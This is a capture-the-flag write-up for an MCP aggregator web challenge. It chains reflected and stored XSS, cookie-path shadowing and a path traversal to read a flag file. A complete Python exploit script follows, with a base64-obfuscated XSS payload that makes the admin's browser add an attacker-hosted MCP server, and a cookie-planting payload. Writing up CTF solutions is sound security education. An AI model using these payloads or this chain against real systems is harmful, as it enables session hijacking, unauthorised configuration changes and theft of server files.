Challenge Overview
Welcome to our brand new MCP (Model Context Protocol) aggregator service! Connect to multiple servers, call tools, and do math operations - all through one sleek proxy. Surely there's nothing that could go wrong with this modern architecture... right?
Architecture Analysis
Application Structure
The challenge consists of a Flask-based MCP (Model Context Protocol) aggregator with the following components:
- Flask Web App: Handles auth, admin panel, and client interface.
- MCP Proxy Server: Aggregates multiple MCP servers via SSE.
- Admin Bot: Puppeteer bot that visits given URLs.
Key Components
-
Flask Web Application:
- Authentication: Flask-Login.
- Admin Panel: Manages MCP servers.
- Client Interface: Calls tools.
-
MCP Proxy Server:
- Aggregates MCP servers.
- Proxies tool calls.
- Handles elicitation requests (critical for exploit).
-
Admin Bot:
- Visits
http://client.challenge.com:6001/call. - Runs with admin session cookie.
- Visits
Vulnerability Discovery
Vulnerability #1: Reflected XSS
Location: templates/client/call.html
When a tool call fails, the data.result is injected via innerHTML without sanitization.
if (data.result) {
resultContent.innerHTML = data.result; // XSS!
}
Vulnerability #2: Stored XSS
Location: templates/auth/account_detail.html
The user description is rendered using the |safe filter, allowing arbitrary HTML.
<div class="text-gray-300">{{ current_user.description|safe }}</div>
Vulnerability #3: Path Traversal
Location: client/routes.py
The elicitation handler uses a regex that permits directory traversal sequences.
match = re.search(r'uploads/([^":\s]+)', params.message)
if match:
file_path = f"uploads/{match.group(1)}" # Path traversal!
Regex uploads/([^":\s]+) allows uploads/../flag.txt.
Vulnerability #4: Cookie Path Priority
According to RFC 6265, cookies with more specific paths are sent first. We can abuse this to force the Flask application to use our session cookie instead of the admin's when the admin visits /profile.
- Admin cookie:
session=<admin>; path=/ - Our cookie:
session=<attacker>; domain=challenge.com; path=/profile
When the admin visits /profile, the browser sends our cookie first. Flask uses it, loads our profile (populated with Stored XSS), and executes our payload.
Exploit Development
Attack Goal
- Add a malicious MCP server to the admin's configuration.
- Call a tool from our server that triggers elicitation.
- Elicitation handler reads
flag.txtvia path traversal. - Receive flag in tool response.
The Exploit Chain
- Setup: Register an account with a Stored XSS payload in the "About" section. This payload adds our malicious MCP server.
- Trigger: Send a Reflected XSS payload to the admin bot.
- The payload sets a cookie
session=<attacker_session>; path=/profile. - It redirects the admin to
/profile.
- The payload sets a cookie
- Execution:
- The admin visits
/profile. - Due to path priority, the browser sends our session cookie.
- Flask loads our profile, executing the Stored XSS.
- The Stored XSS (now running) uses the Admin's base session cookie (since API requests don't match
/profilepath) to add our server.
- The admin visits
- Flag: We call our malicious tool, which triggers the path traversal elicitation and returns the flag.
Exploit Flow Diagram
[Attacker] [Admin Bot] [Server]
| | |
| 1. Register w/ Stored XSS | |
|-------------------------------------------------------------------->|
| 2. Send Reflected XSS URL | |
|---------------------------------->| |
| | |
| | 3. Bot executes Reflected XSS |
| | (Sets path=/profile cookie) |
| | (Redirects to /profile) |
| | |
| | 4. GET /profile |
| |-------------------------------->|
| | 5. Return Attacker Profile |
| | (w/ Stored XSS) |
| |<--------------------------------|
| | |
| | 6. Stored XSS Executes |
| | (ADD Malicious Server) |
| |-------------------------------->|
| | |
| 7. Call Malicious Tool | |
|-------------------------------------------------------------------->|
| | |
| 8. Tool triggers Elicitation | |
| (Path Traversal to flag) | |
|<--------------------------------------------------------------------|
| | |
| 9. Profit (Flag) | |
Final Exploit Code
#!/usr/bin/env python3
"""
MCP Mayhem - Final Exploit
"""
import requests
import time
import base64
CHALLENGE_URL = "http://104.198.24.52:6001"
BOT_URL = "http://104.198.24.52:6002"
MCP_URL = "https://59d00e21ae56.ngrok-free.app/sse"
USER = f"pwn_{int(time.time())}"
PASS = "password123"
SERVER = f"s{int(time.time()) % 10000}"
# Stored XSS: Adds our server
stored_js = f'''
(async function(){{
try{{
var r=await fetch("/admin/csrf-token");
var d=await r.json();
if(d.csrf_token){{
await fetch("/admin/mcp/add-server",{{
method:"POST",
headers:{{"Content-Type":"application/json"}},
body:JSON.stringify({{csrf_token:d.csrf_token,name:"{SERVER}",url:"{MCP_URL}"}})
}});
}}
}}catch(e){{}}
}})();
'''
stored_b64 = base64.b64encode(stored_js.encode()).decode()
stored_xss = f'<script>eval(atob("{stored_b64}"))</script>'
print(f"[*] Registering {USER}...")
reg_session = requests.Session()
reg_session.post(
f"{CHALLENGE_URL}/register",
data={"username": USER, "password": PASS, "confirm_password": PASS, "about": stored_xss},
headers={"Host": "challenge.com:6001"},
allow_redirects=False
)
# Login to get cookie
login_resp = reg_session.post(
f"{CHALLENGE_URL}/login",
data={"username": USER, "password": PASS},
headers={"Host": "challenge.com:6001"},
allow_redirects=False
)
USER_COOKIE = login_resp.cookies.get("session")
print(f"[*] User cookie: {USER_COOKIE[:20]}...")
# Reflected XSS: Cookie Path Manipulation
xss_js = f'''
document.cookie='session={USER_COOKIE};domain=challenge.com;path=/profile';
location.href='http://challenge.com:6001/profile';
'''
xss_clean = ' '.join(xss_js.split())
xss = f"<img src=x onerror=\"{xss_clean}\">"
print(f"[*] Sending XSS to bot...")
requests.post(BOT_URL, data={"tool": xss, "arguments": "{}"})
print(f"[*] Waiting for bot...")
time.sleep(12)
print(f"[*] Exfiltrating flag...")
test = requests.post(
f"{CHALLENGE_URL}/call",
json={"tool": f"{SERVER}_read_flag", "arguments": {}},
headers={"Host": "client.challenge.com:6001"}
)
print(f"[*] Result: {test.text}")